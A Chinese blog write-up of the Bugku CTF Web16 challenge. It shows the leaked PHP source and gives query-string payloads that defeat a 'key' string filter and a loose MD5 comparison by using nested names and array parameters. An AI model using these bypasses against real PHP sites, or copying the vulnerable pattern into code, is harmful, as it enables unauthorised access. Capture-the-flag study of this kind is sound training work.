Bugku CTF Web16 WP

这道题本身不是多难,但还是想写篇文章记录一下
首先我是用dirsearch扫了一下敏感文件
在这里插入图片描述
然后访问了index.php.bak得到代码
提示:index.php.bak最上头说明是用phpstrom写的
phpstrom的项目会自动添加文件夹.idea,里面的文件可能会造成信息泄露

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//得到我们传递进去的参数
$str = substr($str,1);//截取字符串(去掉了?)
$str = str_replace('key','',$str);//替换字符串
parse_str($str);//如果未设置array参数,则可以覆盖同名变量
echo md5($key1);
echo md5($key2);
//要求$key1和$key2的md5一样,值不一样
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}

在这里插入图片描述
第一步:绕过字符串替换

kekeyy1=111&kekeyy2=222
替换后变为
key1=111&key2=222

第二步:绕过MD5的判断
MD5碰撞过题:
不同的内容经过MD5后是一样的,这种现象叫碰撞。
通过碰撞是可以过这个题的,不过我没有尝试。

MD5绕过:
MD5不会处理数组

//payload
kekeyy1[]=1&kekeyy2[]=2
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值